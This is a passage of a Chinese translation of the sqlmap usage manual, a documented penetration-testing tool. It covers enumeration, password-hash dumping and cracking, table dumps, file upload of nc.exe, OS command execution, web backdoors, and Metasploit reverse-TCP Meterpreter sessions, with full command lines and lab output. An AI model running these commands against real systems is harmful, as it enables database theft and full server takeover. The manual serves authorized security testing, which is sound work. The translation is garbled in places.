此开关可用于用户希望通过使用单个开关来检索可远程访问的所有内容的情况。不建议这样做,因为它会生成大量检索有用和无用数据的请求。
旗帜
切换:-b
或--banner
大多数现代数据库管理系统都具有函数和/或环境变量,该函数和/或环境变量返回数据库管理系统的版本,并最终在其补丁程序级别(基础系统)中进行详细说明。通常,函数为version()
,环境变量为@@version
,但这取决于目标DBMS。
针对Oracle目标的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
-banner
[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
会话用户
开关: --current-user
通过此开关,可以检索数据库管理系统的用户,该用户正在有效地从Web应用程序对后端DBMS执行查询。
当前数据库
开关: --current-db
使用此开关,可以检索Web应用程序连接到的数据库管理系统的数据库名称。
服务器主机名
开关: --hostname
通过此开关,可以检索数据库管理系统的主机名。
针对MySQL目标的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
hostname
[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname: 'debian-5.0-i386'
检测会话用户是否是数据库管理员
开关: --is-dba
可以检测当前的数据库管理系统会话用户是否是数据库管理员,也称为DBA。True
如果是,则sqlmap将返回,反之亦然False
。
列出数据库管理系统用户
开关: --users
当会话用户具有对包含有关DBMS用户信息的系统表的读取访问权限时,可以枚举用户列表。
列出并破解数据库管理系统用户的密码哈希
开关: --passwords
当会话用户具有对包含DBMS用户密码信息的系统表的读取访问权限时,可以枚举每个数据库管理系统用户的密码哈希。sqlmap将首先枚举用户,然后为每个用户枚举不同的密码哈希。
针对PostgreSQL目标的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
sqlmap不仅枚举了DBMS用户及其密码,而且还识别了哈希格式为PostgreSQL,询问用户是否针对字典文件测试哈希并确定postgres
用户的明文密码,通常是一个DBA和另一个用户testuser
密码。
此功能已为所有DBMS实施,可以枚举用户的密码哈希,包括Oracle和Microsoft SQL Server 2005之前和之后的版本。
您还可以提供选项-U
以指定要枚举的特定用户,并最终破解密码哈希。如果您提供CU
用户名作为用户名,它将被视为当前用户的别名,并将检索该用户的密码哈希。
列出数据库管理系统用户权限
开关: --privileges
当会话用户具有对包含DBMS用户信息的系统表的读取访问权限时,可以枚举每个数据库管理系统用户的特权。通过特权,sqlmap还将向您显示哪些是数据库管理员。
您还可以提供选项-U
以指定要枚举特权的用户。
如果您提供CU
用户名,它将作为当前用户的别名,并枚举该用户的特权。
在Microsoft SQL Server上,此功能将向您显示每个用户是否是数据库管理员,而不是所有用户的特权列表。
列出数据库管理系统用户角色
开关: --roles
当会话用户具有对包含DBMS用户信息的系统表的读取访问权限时,可以枚举每个数据库管理系统用户的角色。
您还可以提供选项-U
以指定要枚举特权的用户。
如果您提供CU
用户名,它将作为当前用户的别名,并枚举该用户的特权。
仅当DBMS是Oracle时,此功能才可用。
列出数据库管理系统的数据库
开关: --dbs
当会话用户对包含有关可用数据库信息的系统表具有读取权限时,可以枚举数据库列表。
枚举数据库表
开关和选项:--tables
,--exclude-sysdbs
和-D
当会话用户具有对包含有关数据库表信息的系统表的读取访问权限时,可以枚举特定数据库管理系统数据库的表列表。
如果未使用option提供特定数据库-D
,则sqlmap将枚举所有DBMS数据库的表。
您还可以提供此开关--exclude-sysdbs
以排除所有系统数据库。
请注意,在Oracle上,您必须提供TABLESPACE_NAME
而不是数据库名称。
枚举数据库表列
开关和选项:--columns
,-C
,-T
和-D
当会话用户具有对包含有关数据库表信息的系统表的读取访问权限时,可以枚举特定数据库表的列列表。sqlmap还枚举每列的数据类型。
此功能取决于-T
用于指定表名的选项,也可以取决于-D
指定数据库名的选项。如果未指定数据库名称,则使用当前数据库名称。您还可以提供-C
选项来指定表列名称,就像您要枚举的名称一样。
针对SQLite目标的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
-columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | INTEGER |
| name | TEXT |
| surname | TEXT |
+---------+---------+
请注意,在PostgreSQL上,您必须提供public
或系统数据库的名称。这是因为不可能枚举其他数据库表,只能枚举Web应用程序用户所连接的模式下的表,这些表始终以别名public
。
枚举数据库管理系统架构
开关:--schema
和--exclude-sysdbs
用户可以使用此开关检索DBMS模式。模式清单将包含所有数据库,表和列,以及它们各自的类型。与--exclude-sysdbs
仅包含非系统数据库的部分架构结合使用,即可检索和显示。
针对MySQL目标的示例:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
chema--batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column | Type |
+-------------+---------+
| cid | int(11) |
| mysignature | text |
| password | text |
| username | text |
+-------------+---------+
Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| date | datetime |
| blogger_name | text |
| cid | int(11) |
| comment | text |
+--------------+----------+
Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| date | datetime |
| browser | text |
| cid | int(11) |
| hostname | text |
| ip | text |
| referer | text |
+----------+----------+
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
[...]
检索表的条目数
开关: --count
如果用户在转储所需条目之前只想知道表中的条目数,则可以使用此开关。
针对Microsoft SQL Server目标的示例:
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
--count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table | Entries |
+----------------+---------+
| dbo.users | 4 |
| dbo.users_blob | 2 |
+----------------+---------+
转储数据库表条目
开关和选项:--dump
,-C
,-T
,-D
,--start
,--stop
,--first
,--last
,--pivot-column
和--where
当会话用户具有对特定数据库表的读取访问权限时,可以转储表条目。
此功能取决于-T
用于指定表名称的选项以及可选地-D
用于指定数据库名称的选项。如果提供了表名,但未提供数据库名,则使用当前数据库名。
针对Firebird目标的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
--dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME | SURNAME |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+
此开关还可用于转储所提供数据库的所有表条目。您只需要提供带有开关的sqlmap --dump
以及仅选项-D
(no -T
和no -C
)。
您还可以提供一个特定列的逗号分隔列表,以使用option转储-C
。
sqlmap还为每个转储的表生成CSV格式文本文件中的条目。您可以通过提供大于或等于1的详细级别来查看sqlmap创建文件的绝对路径。
如果只想转储一系列条目,则可以提供选项--start
和/或--stop
分别从某个条目开始转储并在某个条目处停止转储。例如,如果您只想转储第一个条目,请--stop 1
在命令行中提供。反之亦然,例如,如果您只想转储第二和第三项,请提供--start 1
--stop 3
。
另外,也可以指定单个字符或者字符的范围与选择要转储的--first
和--last
。例如,如果要转储列的条目从第三个字符到第五个字符,请提供--first 3
--last 5
。此功能仅适用于盲SQL注入技术,因为对于基于错误的查询和UNION查询SQL注入技术,无论要转储的列条目输出的长度如何,请求的数量都完全相同。
有时(例如,对于Microsoft SQL Server,Sybase和SAP MaxDB),OFFSET m, n
由于缺乏相似性,因此无法通过使用机制直接转储表行。在这种情况下,sqlmap通过确定最合适的pivot
列(具有最唯一值的列)来转储内容,该列的值以后将用于检索其他列值。如果pivot
由于自动选择的列不合适(例如,由于缺少表转储结果)而有必要强制使用特定列,则可以使用选项--pivot-column
(例如--pivot-column=id
)。
如果要将转储限制为特定的列值(或范围),可以使用option --where
。所提供的逻辑操作将在WHERE
子句中自动使用。例如,如果--where="id>3"
仅使用列值id
大于3的表行,则将被检索(通过附加WHERE id>3
到使用的转储查询中)。
正如您可能已经注意到的那样,sqlmap非常灵活:您可以保留它来自动转储整个数据库表,或者可以非常精确地确定要转储的字符,列的列数和条目范围。
转储所有数据库表条目
开关:--dump-all
和--exclude-sysdbs
会话用户具有读取访问权限时,可以一次转储所有数据库表条目。
您还可以提供此开关--exclude-sysdbs
以排除所有系统数据库。在这种情况下,sqlmap将仅转储用户数据库表的条目。
请注意,在Microsoft SQL Server上,该master
数据库不被视为系统数据库,因为某些数据库管理员将其用作用户数据库。
搜索列,表或数据库
开关和选项:--search
,-C
,-T
,-D
通过此开关,您可以搜索特定的数据库名称,所有数据库中的特定表或所有数据库表中的特定列。
例如,这对于识别包含自定义应用程序凭据的表很有用,其中相关列的名称包含诸如name和pass之类的字符串。
交换机--search
需要与以下支持选项之一结合使用:
-C
后面用逗号分隔的列名列表,以在整个数据库管理系统中查找。-T
后面用逗号分隔的表名列表在整个数据库管理系统中查找。-D
以下是逗号分隔的数据库名称列表,以在整个数据库管理系统中查找。
运行自定义SQL语句
选项和开关:--sql-query
和--sql-shell
SQL查询和SQL Shell功能允许在数据库管理系统上运行任意SQL语句。sqlmap自动剖析所提供的语句,确定哪种技术适合用于注入它,以及如何相应地打包SQL有效负载。
如果查询是SELECT
语句,则sqlmap将检索其输出。否则,如果Web应用程序在后端数据库管理系统上支持多个语句,它将通过堆栈查询SQL注入技术执行查询。请注意,某些Web应用程序技术不支持特定数据库管理系统上的堆叠查询。例如,当后端DBMS是MySQL时,PHP不支持堆栈查询,但是当后端DBMS是PostgreSQL时,PHP支持。
针对Microsoft SQL Server 2000目标的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo': 'foo'
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo', 'bar'" -v 2
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into distinct queries to be able to retrieve the output even if we are
going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'
如您所见,sqlmap将提供的查询分为两个不同的SELECT
语句,然后为每个单独的查询检索输出。
如果提供的查询是一个SELECT
语句并包含一个FROM
子句,则sqlmap将询问您该语句是否可以返回多个条目。在那种情况下,该工具知道如何正确地解开查询以对可能的条目数进行计数并检索其输出,即每个条目的条目。
SQL Shell选项允许您交互地运行自己的SQL语句,就像连接到数据库管理系统的SQL控制台一样。此功能还提供了TAB完成和历史记录支持。
蛮力
这些开关可用于运行暴力检查。
蛮力表名称
开关: --common-tables
在某些情况下,--tables
不能使用switch 来检索数据库的表名。这些情况通常属于以下类别之一:
- 数据库管理系统是MySQL <5.0,
information_schema
不可用。 - 数据库管理系统是Microsoft Access,系统表
MSysObjects
不可读-默认设置。 - 会话用户没有针对存储数据库方案的系统表的读取特权。
如果前两种情况中的任何一种适用,并且您提供了switch --tables
,则sqlmap将提示您一个问题,以退回到该技术。这两种情况均适用于您的情况,如果您为它提供了switch,则sqlmap仍可以识别一些现有表--common-tables
。sqlmap将执行暴力攻击,以检测整个DBMS中是否存在公用表。
公用表名称的列表是txt/common-tables.txt
,您可以根据需要对其进行编辑。
针对MySQL 4.1目标的示例:
$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo\
n-tables -D testdb --banner
[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner: '4.1.21-community-nt'
[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx
t/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users
Database: testdb
[1 table]
+-------+
| users |
+-------+
蛮力列名称
开关: --common-columns
对于每个表,在某些情况下--columns
不能使用switch 来检索数据库表的列名。这些情况通常属于以下类别之一:
- 数据库管理系统是MySQL <5.0,
information_schema
不可用。 - 数据库管理系统是Microsoft Access,其中系统表内部不提供此类信息。
- 会话用户没有针对存储数据库方案的系统表的读取特权。
如果前两种情况中的任何一种适用,并且您提供了switch --columns
,则sqlmap将提示您一个问题,以退回到该技术。这两种情况均适用于您的情况,如果您为它提供了switch,则sqlmap仍可以识别一些现有表--common-columns
。sqlmap将执行暴力攻击,以检测整个DBMS中是否存在公共列。
公用表名称的列表是txt/common-columns.txt
,您可以根据需要对其进行编辑。
用户定义的功能注入
这些选项可用于创建自定义的用户定义函数。
注入自定义用户定义函数(UDF)
开关和选项:--udf-inject
和--shared-lib
您可以通过编译MySQL或PostgreSQL共享库,Windows的DLL和Linux / Unix的共享对象来注入自己的用户定义函数(UDF),然后为sqlmap提供共享库在计算机上本地存储的路径。然后sqlmap会问您一些问题,将共享库上传到数据库服务器文件系统上,从中创建用户定义的函数,并根据您的选择执行它们。使用完注入的UDF后,sqlmap还可以为您从数据库中删除它们。
这些技术在白皮书“ 高级SQL注入到操作系统的完全控制”中有详细介绍。
使用选项--udf-inject
并按照说明进行操作。
如果需要,您也可以通过命令行使用--shared-lib
option 指定共享库本地文件系统路径。反之亦然,sqlmap会在运行时要求您提供路径。
仅当数据库管理系统是MySQL或PostgreSQL时,此功能才可用。
文件系统访问
从数据库服务器的文件系统读取文件
选项: --file-read
当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server,并且会话用户具有滥用数据库特定功能和体系结构弱点所需的特权时,可以从基础文件系统中检索文件的内容。指定的文件可以是文本文件或二进制文件。sqlmap将正确处理它。
这些技术在白皮书“ 高级SQL注入到操作系统的完全控制”中有详细介绍。
针对Microsoft SQL Server 2005目标以检索二进制文件的示例:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\
e=luther" --file-read "C:/example.exe" -v 1
[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]
$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit
将文件上传到数据库服务器的文件系统
选项:--file-write
和--file-dest
当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server,并且会话用户具有滥用数据库特定功能和体系结构弱点所需的特权时,可以将本地文件上载到数据库服务器的文件系统。指定的文件可以是文本文件或二进制文件。sqlmap将正确处理它。
这些技术在白皮书“ 高级SQL注入到操作系统的完全控制”中有详细介绍。
针对MySQL目标上传二进制UPX压缩文件的示例:
$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'
操作系统接管
运行任意操作系统命令
选项和开关:--os-cmd
和--os-shell
它可以在数据库服务器的底层操作系统上运行任意命令时,后端数据库管理系统或者是MySQL和PostgreSQL或Microsoft SQL Server和会话用户具有所需的权限滥用数据库特定的功能和架构的弱点。
上MySQL和PostgreSQL,SqlMap的上传(经由文件上传功能如上所述)含有两个用户定义函数的共享库(二进制文件),sys_exec()
和sys_eval()
,然后将其在数据库上创建这两个函数和调用它们中的一个来执行指定的命令,取决于用户选择是否显示标准输出。在Microsoft SQL Server上,sqlmap滥用xp_cmdshell
存储过程:如果已禁用(默认情况下,在Microsoft SQL Server> = 2005上),则sqlmap重新启用它;如果它不存在,则sqlmap从头开始创建它。
当用户请求标准输出时,sqlmap使用枚举SQL注入技术(盲,带内或基于错误)中的一种来检索它。反之亦然,如果不需要标准输出,则使用堆栈查询SQL注入技术来执行命令。
这些技术在白皮书“ 高级SQL注入到操作系统的完全控制”中有详细介绍。
针对PostgreSQL目标的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
os-cmd id -v 1
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(post
gres)'
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
tem can only be deleted manually
也可以模拟一个真实的shell,在其中您可以键入任意数量的任意命令。该选项具有--os-shell
并且具有相同的TAB完成和历史功能--sql-shell
。
如果尚未在Web应用程序上识别出堆栈查询(例如,后端数据库管理系统为MySQL的PHP或ASP),而DBMS为MySQL,则仍然有可能滥用该SELECT
子句INTO OUTFILE
在其中的可写文件夹中创建Web后门Web服务器文档的根目录,并且假设后端DBMS和Web服务器托管在同一服务器上,则仍然可以执行命令。sqlmap支持此技术,并允许用户提供可能的文档根子文件夹的逗号分隔列表,其中尝试上载Web文件暂存器和随后的Web后门。此外,sqlmap具有针对以下语言的经过测试的Web文件登台程序和后门程序:
- 均价
- ASP.NET
- JSP
- 的PHP
带外状态连接:Meterpreter和朋友
开关和选项:--os-pwn
,--os-smbrelay
,--os-bof
,--priv-esc
,--msf-path
和--tmp-path
当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server且会话用户有需要时,可以在攻击者机器与数据库服务器基础操作系统之间建立带外状态TCP连接。滥用数据库特定功能和体系结构弱点的特权。根据用户的选择,此通道可以是交互式命令提示符,Meterpreter会话或图形用户界面(VNC)会话。
sqlmap依靠Metasploit创建shellcode,并实现四种不同的技术来在数据库服务器上执行它。这些技术是:
- 通过sqlmap自己的用户定义函数在Metasploit的shellcode的数据库内存中执行
sys_bineval()
。在MySQL和PostgreSQL-switch上受支持--os-pwn
。 - 通过MySQL和PostgreSQL上的sqlmap自己的用户定义函数或通过Microsoft SQL Server-switch上载和执行Metasploit的独立有效负载暂存器。
sys_exec()
xp_cmdshell()
--os-pwn
- 通过执行SMB反射攻击(MS08-068),执行从数据库服务器到Metasploit
smb_relay
服务器利用程序侦听的攻击者计算机的UNC路径请求,执行Metasploit的shellcode 。uid=0
在Linux / Unix上以高特权()运行sqlmap时,在Windows-switch上,目标DBMS以管理员身份运行时受支持--os-smbrelay
。 - 通过利用Microsoft SQL Server 2000和2005
sp_replwritetovarbin
存储过程基于堆的缓冲区溢出(MS09-004),对Metasploit的shellcode进行数据库内存执行。sqlmap有自己的利用漏洞,可以通过自动DEP内存保护绕过来触发该漏洞,但是它依靠Metasploit生成shell代码,以便在成功利用漏洞切换成功后执行该代码--os-bof
。
在白皮书《高级SQL注入到操作系统的完全控制》和幻灯片中,详细介绍了这些技术。从数据库扩展对操作系统的控制。
针对MySQL目标的示例:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\
id=1" --os-pwn --msf-path /software/metasploit
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on
all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
lease wait..
_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
ineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a
t Mon Apr 11 hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask : 255.255.255.0
meterpreter > exit
[*] Meterpreter session 1 closed. Reason: User exit
默认情况下,Windows上的MySQL运行为SYSTEM
,而PostgreSQL postgres
在Windows和Linux上均以低特权用户身份运行。默认情况下SYSTEM
,Microsoft SQL Server 2000的运行方式为,而Microsoft SQL Server 2005和2008的大多数情况下的运行时间为NETWORK SERVICE
,有时为LOCAL SERVICE
。
可以为sqlmap提供开关,--priv-esc
以通过Metasploit的命令执行数据库进程的用户特权升级getsystem
,该命令除其他外包括kitrap0d技术(MS10-015)。
Windows注册表访问
当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server,并且Web应用程序支持堆栈查询时,可以访问Windows注册表。另外,会话用户必须具有所需的特权才能访问它。
读取Windows注册表项值
开关: --reg-read
使用此开关,您可以读取注册表项值。
编写Windows注册表项值
开关: --reg-add
使用此开关,您可以编写注册表项值。
删除Windows注册表项
开关: --reg-del
使用此开关,您可以删除注册表项。
辅助注册表选项
选项:--reg-key
,--reg-value
,--reg-data
和--reg-type
这些选项可用于提供正确运行开关所需的数据--reg-read
,--reg-add
和 --reg-del
。因此,您可以在命令提示符下将它们用作程序参数,而不是在询问时提供注册表项信息。
使用--reg-key
选项,您可以指定使用的Windows注册表项路径,--reg-value
在提供的密钥中使用值项目名称,使用--reg-data
值数据,而使用--reg-type
选项可以指定值项的类型。
以下是添加注册表项配置单元的示例命令行:
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --r\
eg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-ty\
pe=REG_SZ --reg-data=1
一般
这些选项可用于设置一些常规工作参数。
从存储的(.sqlite)文件加载会话
选项: -s
sqlmap会在专用输出目录内为每个目标自动创建一个持久会话SQLite文件,该文件中存储了会话恢复所需的所有数据。如果用户想显式设置会话文件位置(例如,用于在一个地方存储多个目标的会话数据),则可以使用此选项。
将HTTP流量记录到文本文件
选项: -t
此选项需要一个参数,该参数指定文本文件以写入由sqlmap生成的所有HTTP通信-HTTP(S)请求和HTTP(S)响应。
这主要用于调试目的-当您向开发人员提供潜在的错误报告时,也请发送此文件。
以非交互模式运行
开关: --batch
如果希望sqlmap作为批处理工具运行,并且在sqlmap需要它时没有任何用户交互,则可以使用switch强制执行该操作--batch
。每当需要用户输入时,这都会使sqlmap保持默认行为。
二进制内容检索
选项 --binary-fields
在二进制内容检索的情况下,例如在具有存储二进制值列的表的示例(例如,password
具有二进制存储密码哈希值的列)的表中,可以使用--binary-fields
sqlmap 选项(额外)进行适当的处理。然后检索所有这些字段(即表列)并以其十六进制表示形式表示,因此之后可以使用其他工具(例如john
)进行适当处理。
自定义(盲)SQL注入字符集
选项: --charset
在基于布尔的盲和基于时间的盲SQL注入情况下,用户可以强制使用自定义字符集来加快数据检索过程。例如,在转储消息摘要值(例如SHA1)的情况下,通过使用(例如)--charset="0123456789abcdef"
预期的请求数比正常运行时少30%左右。
从目标网址开始抓取网站
选项: --crawl
sqlmap可以通过从目标位置开始收集(爬网)潜在的脆弱链接。使用此选项,用户可以设置深度(距起始位置的距离),在此深度以下,sqlmap不会进入收集阶段,因为只要有新的链接要访问,该过程就会以递归方式进行。
针对MySQL目标运行的示例:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]
选项 --crawl-exclude
使用此选项,您可以通过提供正则表达式来排除爬网的页面。例如,如果要跳过logout
路径中所有带有关键字的页面,可以使用--crawl-exclude=logout
。
CSV输出中使用的定界字符
选项: --csv-del
当将转储的数据存储为CSV格式(--dump-format=CSV
)时,条目必须用“分隔值”分隔(默认值为,
)。如果用户要覆盖其默认值,则可以使用此选项(例如--csv-del=";"
)。
